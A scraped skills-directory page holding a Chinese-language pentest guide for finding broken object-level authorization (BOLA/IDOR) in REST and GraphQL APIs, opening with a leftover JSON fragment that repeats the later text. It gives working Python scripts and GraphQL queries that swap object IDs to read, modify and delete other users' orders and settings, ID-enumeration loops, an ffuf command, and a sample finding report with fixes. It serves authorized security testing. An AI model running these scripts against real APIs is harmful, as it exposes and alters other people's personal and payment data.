(跳过静态资源)\n4. 设置授权检测器:\n - 若用户A和用户B之间响应长度或状态码不同,则添加相应条件\n - 如果用户A对用户B的资源得到403/401则标记为\"已强制执行\"\n - 如果用户A得到200并返回用户B的数据则标记为\"已绕过\"\n5. 以用户A身份浏览应用;Autorize自动用用户B的令牌重放每个请求\n6. 查看Autorize结果表:\n - 绿色 = 授权已强制执行(安全)\n - 红色 = 授权被绕过(BOLA漏洞)\n - 橙色 = 需要人工审查(响应不明确)\n\n### 步骤6:GraphQL BOLA测试\n\n```graphql\n# 使用node/ID中继模式测试GraphQL查询中的BOLA\n# 用户A通过全局中继ID查询用户B的订单\nquery {\n node(id: \"T3JkZXI6NTAwMw==\") { # \"Order:5003\"的Base64编码(用户B的订单)\n ... on Order {\n id\n totalAmount\n shippingAddress {\n street\n city\n }\n items {\n productName\n quantity\n }\n }\n }\n}\n\n# 通过关联关系测试嵌套对象访问\nquery {\n user(id: \"1002\") { # 用户B的ID\n email\n phoneNumber\n orders {\n edges {\n node {\n id\n totalAmount\n paymentMethod {\n lastFourDigits\n }\n }\n }\n }\n }\n}\n```\n\n## 核心概念\n\n| 术语 | 定义 |\n|------|------|\n| **BOLA(越权对象访问)** | OWASP API1:2023 - API不验证已认证用户是否有权限访问请求引用的特定对象 |\n| **IDOR(不安全的直接对象引用)** | 密切相关的术语,应用程序使用用户可控的输入直接访问对象而不进行授权检查 |\n| **水平权限提升** | 通过操纵对象标识符访问属于同一权限级别其他用户的资源 |\n| **垂直权限提升** | 访问限制于更高权限级别的资源或功能(如普通用户访问管理员端点) |\n| **对象ID枚举** | 通过分析ID格式(连续整数、UUID模式、编码值)预测有效的对象标识符 |\n| **Autorize** | Burp Suite扩展,通过用不同用户令牌重放请求来自动化授权测试 |\n\n## 工具和系统\n\n- **Burp Suite Professional**:拦截代理,用于捕获和操纵API请求,配合Autorize扩展自动化BOLA测试\n- **OWASP ZAP**:开源替代方案,带访问控制测试插件用于授权边界测试\n- **Autorize**:Burp扩展,通过用不同用户上下文重放请求自动检测授权强制执行情况\n- **Postman**:API测试平台,用于跨集合使用不同认证令牌构造和重放请求\n- **ffuf**:Web模糊测试工具,可大规模枚举对象ID:`ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H \"Authorization: Bearer token\"`\n\n## 常见场景\n\n### 场景:电商API BOLA评估\n\n**背景**:某电商平台为其移动应用提供REST API。API对订单、用户和地址使用连续整数ID。提供了两个测试账户:普通客户(用户A,ID 1001)和另一个客户(用户B,ID 1002)。\n\n**方法**:\n1. 从`/api/docs`的Swagger规范映射所有端点:识别47个端点,其中23个接受对象ID\n2. 捕获用户A对自己资源的请求:个人资料、订单、地址、支付方式、愿望清单\n3. 在所有23个端点中系统性地将用户A的对象ID替换为用户B的ID\n4. 发现`GET /api/v1/orders/{id}`无论所有权如何都返回任意订单(读取BOLA)\n5. 发现`PATCH /api/v1/addresses/{id}`允许修改任意用户的地址(写入BOLA)\n6. 发现`GET /api/v1/users/{id}/payment-methods`泄露任意用户的支付卡末四位\n7. 测试批量端点`POST /api/v1/orders/export`——接受订单ID数组并导出所有订单而不进行所有权检查\n8. 验证`DELETE /api/v1/orders/{id}`对非自有订单正确返回403(授权已强制执行)\n\n**注意事项**:\n- 仅测试GET请求,未发现PUT/PATCH/DELETE方法中允许数据修改或删除的BOLA\n- 假设UUID可以防止BOLA——UUID可预测性较低,但可能通过API响应、日志或URL参数泄露\n- 未测试嵌套资源路径——父资源可能检查了授权,但子资源没有\n- 遗漏接受ID数组的批量/批处理端点中的BOLA\n- 未考虑不同API版本(v1与v2)可能有不同的授权实现\n\n## 输出格式\n\n```\n## 发现:订单API中存在越权对象访问(BOLA)漏洞\n\n**ID**: API-BOLA-001\n**严重性**: 高(CVSS 7.5)\n**OWASP API**: API1:2023 - 越权对象访问\n**受影响端点**:\n - GET /api/v1/orders/{id}\n - PATCH /api/v1/addresses/{id}\n - GET /api/v1/users/{id}/payment-methods\n - POST /api/v1/orders/export\n\n**描述**:\n该API在订单检索、地址修改、支付方式查看或订单导出端点上\n未强制执行对象级授权。已认证用户可通过替换请求中的对象ID\n来访问或修改任意其他用户的资源。连续整数ID使枚举变得轻而易举。\n\n**概念验证**:\n1. 以用户A(ID 1001)身份认证: POST /api/v1/auth/login\n2. 检索用户A的订单: GET /api/v1/orders/5001 -> 200 OK(合法)\n3. 访问用户B的订单: GET /api/v1/orders/5003 -> 200 OK(BOLA - 返回完整订单详情)\n4. 修改用户B的地址: PATCH /api/v1/addresses/2002 -> 200 OK(BOLA - 地址已更改)\n\n**影响**:\n- 可读取所有850,000+条客户订单,包括收货地址和订单内容\n- 可写入任意客户的收货地址,实现包裹重定向\n- 暴露所有客户的部分支付卡数据\n\n**修复建议**:\n1. 实现对象级授权中间件,验证已认证用户拥有所请求的资源\n2. 在数据访问层使用授权检查: `WHERE order.user_id = authenticated_user.id`\n3. 用UUID替换连续整数ID以降低可预测性(纵深防御,不能单独作为修复方案)\n4. 在CI/CD流水线中为每个接受对象ID的端点添加授权测试\n5. 实现按用户速率限制以减慢枚举尝试\n```\n","licenseDocuments":[]}}
L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-api-for-broken-object-level-authorization

testing-api-for-broken-object-level-authorization

测试REST和GraphQL API中的越权对象访问(BOLA/IDOR)漏洞,即已认证用户通过操纵API请求中的对象标识符 来访问或修改属于其他用户的资源。测试人员拦截API调用,识别对象ID参数(数字ID、UUID、slug), 并系统性地替换为其他用户的ID,以确定服务器是否执行了对象级授权。 对应OWASP API安全Top 10 2023 API1(越权对象访问)。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-api-for-broken-object-level-authorization description: > 测试REST和GraphQL API中的越权对象访问(BOLA/IDOR)漏洞,即已认证用户通过操纵API请求中的对象标识符 来访问或修改属于其他用户的资源。测试人员拦截API调用,识别对象ID参数(数字ID、UUID、slug), 并系统性地替换为其他用户的ID,以确定服务器是否执行了对象级授权。 对应OWASP API安全Top 10 2023 API1(越权对象访问)。 domain: cybersecurity subdomain: api-security tags: [api-security, owasp, bola, idor, authorization, rest-security] version: 1.0.0 author: mahipal license: Apache-2.0

测试API越权对象访问漏洞

适用场景

  • 评估在URL路径、查询参数或请求体中使用对象标识符的REST或GraphQL API
  • 执行OWASP API安全Top 10评估,必须测试API1:2023(BOLA)
  • 测试多租户SaaS应用,确保不同租户的用户无法访问彼此的数据
  • 验证API端点是否在认证之外还执行了对象级授权检查
  • 在添加新端点后评估是否一致应用了授权中间件

不适用于未获API所有者书面授权的情况。BOLA测试涉及访问或尝试访问其他用户的数据,需要明确许可。

前置条件

  • 书面授权,指明目标API端点和测试范围
  • 至少两个具有不同权限级别和不同数据集的测试账户
  • 配置为拦截代理的Burp Suite Professional或OWASP ZAP
  • 每个测试账户的认证令牌(JWT、会话Cookie、API密钥)
  • API文档(OpenAPI/Swagger规范)或端点枚举访问权限
  • Python 3.10+,安装 requests 库用于脚本化测试
  • 已安装Autorize Burp扩展用于自动化BOLA检测

工作流程

步骤1:API端点发现和对象ID映射

枚举所有API端点,识别引用对象的参数:

从OpenAPI/Swagger规范:

# 下载并解析OpenAPI规范
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool

# 提取所有含路径参数的端点
curl -s https://target-api.example.com/api/docs/swagger.json | \
  python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
    for method, details in methods.items():
        if method in ('get','post','put','patch','delete'):
            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
            if params:
                print(f'{method.upper()} {path} -> params: {params}')
"

从Burp Suite流量:

  1. 以用户A身份浏览应用,使用所有涉及数据创建和检索的功能
  2. 在Burp中,前往Target > Site Map并过滤API路径(如 /api/v1/、/graphql)
  3. 查找模式:/api/v1/users/{id}、/api/v1/orders/{order_id}、/api/v1/documents/{doc_uuid}
  4. 记录对象ID格式:连续整数(可预测)、UUID(不易预测)或编码值

对象ID类型分类:

ID类型示例可预测性BOLA风险
连续整数/orders/1042高 - 递增/递减严重
UUID v4/orders/550e8400-e29b-41d4-a716-446655440000低 - 随机中(若泄露)
编码/哈希/orders/base64encodedvalue中 - 解码并预测高
复合ID/users/42/orders/1042高 - 多个ID需替换严重
Slug/profiles/john-doe中 - 猜测用户名高

步骤2:用已认证用户捕获基线请求

捕获用户A和用户B的合法请求:

import requests

BASE_URL = "https://target-api.example.com/api/v1"

# 用户A凭据
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}

# 用户B凭据
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}

# 步骤1:识别用户A的对象
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"]  # 例如 1001

user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]]  # 例如 [5001, 5002]

# 步骤2:识别用户B的对象
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"]  # 例如 1002

user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]]  # 例如 [5003, 5004]

print(f"用户A(ID: {user_a_id}): 订单 {user_a_order_ids}")
print(f"用户B(ID: {user_b_id}): 订单 {user_b_order_ids}")

步骤3:BOLA测试 - 水平权限提升

使用用户A的认证尝试访问用户B的对象:

import json

results = []

# 测试1:用用户A的令牌访问用户B的个人资料
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
    "test": "访问其他用户个人资料",
    "endpoint": f"GET /users/{user_b_id}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code == 200,
    "data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})

# 测试2:用用户A的令牌访问用户B的订单
for order_id in user_b_order_ids:
    resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
    results.append({
        "test": f"访问其他用户订单 {order_id}",
        "endpoint": f"GET /orders/{order_id}",
        "auth": "User A",
        "status": resp.status_code,
        "vulnerable": resp.status_code == 200
    })

# 测试3:用用户A的令牌修改用户B的订单
resp = requests.patch(
    f"{BASE_URL}/orders/{user_b_order_ids[0]}",
    headers=user_a_headers,
    json={"status": "cancelled"}
)
results.append({
    "test": "修改其他用户订单",
    "endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# 测试4:用用户A的令牌删除用户B的资源
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
    "test": "删除其他用户订单",
    "endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# 打印结果
for r in results:
    status = "漏洞存在" if r["vulnerable"] else "安全"
    print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")

步骤4:高级BOLA技术

测试不那么明显的BOLA模式:

# 技术1:参数污染 - 同时发送两个ID
resp = requests.get(
    f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
    headers=user_a_headers
)
print(f"参数污染: {resp.status_code}")

# 技术2:JSON请求体对象ID覆盖
resp = requests.post(
    f"{BASE_URL}/orders/details",
    headers=user_a_headers,
    json={"order_id": user_b_order_ids[0]}
)
print(f"请求体ID覆盖: {resp.status_code}")

# 技术3:ID数组 - 在批量请求中包含其他用户的ID
resp = requests.post(
    f"{BASE_URL}/orders/batch",
    headers=user_a_headers,
    json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"批量ID包含: {resp.status_code}, 返回了 {len(resp.json().get('orders',[]))} 个订单")

# 技术4:针对连续ID的数字ID操纵
for offset in range(-5, 6):
    test_id = user_a_order_ids[0] + offset
    if test_id not in user_a_order_ids:
        resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
        if resp.status_code == 200:
            owner = resp.json().get("user_id", "unknown")
            if str(owner) != str(user_a_id):
                print(f"BOLA: 订单 {test_id} 属于用户 {owner},但用户A可访问")

# 技术5:嵌套资源路径中替换对象ID
resp = requests.get(
    f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
    headers=user_a_headers
)
print(f"嵌套资源BOLA: {resp.status_code}")

# 技术6:方法切换 - GET可能被阻断但PUT被允许
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
    resp = requests.request(
        method,
        f"{BASE_URL}/users/{user_b_id}/settings",
        headers=user_a_headers,
        json={"notifications": False} if method in ('PUT', 'PATCH') else None
    )
    if resp.status_code not in (401, 403, 405):
        print(f"方法 {method} 访问其他用户设置: {resp.status_code}")

步骤5:使用Autorize(Burp Suite)进行自动化BOLA检测

配置Autorize进行自动化检测:

  1. 从Burp Suite Professional的BApp商店安装Autorize
  2. 在Autorize选项卡中,粘贴用户B的认证Cookie或请求头
  3. 配置拦截过滤器:
    • 包含:.*\/api\/.*(仅API路径)
    • 排除:.*\.(js|css|png|jpg)$(跳过静态资源)
  4. 设置授权检测器:
    • 若用户A和用户B之间响应长度或状态码不同,则添加相应条件
    • 如果用户A对用户B的资源得到403/401则标记为"已强制执行"
    • 如果用户A得到200并返回用户B的数据则标记为"已绕过"
  5. 以用户A身份浏览应用;Autorize自动用用户B的令牌重放每个请求
  6. 查看Autorize结果表:
    • 绿色 = 授权已强制执行(安全)
    • 红色 = 授权被绕过(BOLA漏洞)
    • 橙色 = 需要人工审查(响应不明确)

步骤6:GraphQL BOLA测试

# 使用node/ID中继模式测试GraphQL查询中的BOLA
# 用户A通过全局中继ID查询用户B的订单
query {
  node(id: "T3JkZXI6NTAwMw==") {  # "Order:5003"的Base64编码(用户B的订单)
    ... on Order {
      id
      totalAmount
      shippingAddress {
        street
        city
      }
      items {
        productName
        quantity
      }
    }
  }
}

# 通过关联关系测试嵌套对象访问
query {
  user(id: "1002") {  # 用户B的ID
    email
    phoneNumber
    orders {
      edges {
        node {
          id
          totalAmount
          paymentMethod {
            lastFourDigits
          }
        }
      }
    }
  }
}

核心概念

术语定义
BOLA(越权对象访问)OWASP API1:2023 - API不验证已认证用户是否有权限访问请求引用的特定对象
IDOR(不安全的直接对象引用)密切相关的术语,应用程序使用用户可控的输入直接访问对象而不进行授权检查
水平权限提升通过操纵对象标识符访问属于同一权限级别其他用户的资源
垂直权限提升访问限制于更高权限级别的资源或功能(如普通用户访问管理员端点)
对象ID枚举通过分析ID格式(连续整数、UUID模式、编码值)预测有效的对象标识符
AutorizeBurp Suite扩展,通过用不同用户令牌重放请求来自动化授权测试

工具和系统

  • Burp Suite Professional:拦截代理,用于捕获和操纵API请求,配合Autorize扩展自动化BOLA测试
  • OWASP ZAP:开源替代方案,带访问控制测试插件用于授权边界测试
  • Autorize:Burp扩展,通过用不同用户上下文重放请求自动检测授权强制执行情况
  • Postman:API测试平台,用于跨集合使用不同认证令牌构造和重放请求
  • ffuf:Web模糊测试工具,可大规模枚举对象ID:ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"

常见场景

场景:电商API BOLA评估

背景:某电商平台为其移动应用提供REST API。API对订单、用户和地址使用连续整数ID。提供了两个测试账户:普通客户(用户A,ID 1001)和另一个客户(用户B,ID 1002)。

方法:

  1. 从/api/docs的Swagger规范映射所有端点:识别47个端点,其中23个接受对象ID
  2. 捕获用户A对自己资源的请求:个人资料、订单、地址、支付方式、愿望清单
  3. 在所有23个端点中系统性地将用户A的对象ID替换为用户B的ID
  4. 发现GET /api/v1/orders/{id}无论所有权如何都返回任意订单(读取BOLA)
  5. 发现PATCH /api/v1/addresses/{id}允许修改任意用户的地址(写入BOLA)
  6. 发现GET /api/v1/users/{id}/payment-methods泄露任意用户的支付卡末四位
  7. 测试批量端点POST /api/v1/orders/export——接受订单ID数组并导出所有订单而不进行所有权检查
  8. 验证DELETE /api/v1/orders/{id}对非自有订单正确返回403(授权已强制执行)

注意事项:

  • 仅测试GET请求,未发现PUT/PATCH/DELETE方法中允许数据修改或删除的BOLA
  • 假设UUID可以防止BOLA——UUID可预测性较低,但可能通过API响应、日志或URL参数泄露
  • 未测试嵌套资源路径——父资源可能检查了授权,但子资源没有
  • 遗漏接受ID数组的批量/批处理端点中的BOLA
  • 未考虑不同API版本(v1与v2)可能有不同的授权实现

输出格式

## 发现:订单API中存在越权对象访问(BOLA)漏洞

**ID**: API-BOLA-001
**严重性**: 高(CVSS 7.5)
**OWASP API**: API1:2023 - 越权对象访问
**受影响端点**:
  - GET /api/v1/orders/{id}
  - PATCH /api/v1/addresses/{id}
  - GET /api/v1/users/{id}/payment-methods
  - POST /api/v1/orders/export

**描述**:
该API在订单检索、地址修改、支付方式查看或订单导出端点上
未强制执行对象级授权。已认证用户可通过替换请求中的对象ID
来访问或修改任意其他用户的资源。连续整数ID使枚举变得轻而易举。

**概念验证**:
1. 以用户A(ID 1001)身份认证: POST /api/v1/auth/login
2. 检索用户A的订单: GET /api/v1/orders/5001 -> 200 OK(合法)
3. 访问用户B的订单: GET /api/v1/orders/5003 -> 200 OK(BOLA - 返回完整订单详情)
4. 修改用户B的地址: PATCH /api/v1/addresses/2002 -> 200 OK(BOLA - 地址已更改)

**影响**:
- 可读取所有850,000+条客户订单,包括收货地址和订单内容
- 可写入任意客户的收货地址,实现包裹重定向
- 暴露所有客户的部分支付卡数据

**修复建议**:
1. 实现对象级授权中间件,验证已认证用户拥有所请求的资源
2. 在数据访问层使用授权检查: `WHERE order.user_id = authenticated_user.id`
3. 用UUID替换连续整数ID以降低可预测性(纵深防御,不能单独作为修复方案)
4. 在CI/CD流水线中为每个接受对象ID的端点添加授权测试
5. 实现按用户速率限制以减慢枚举尝试
Skills enregistrées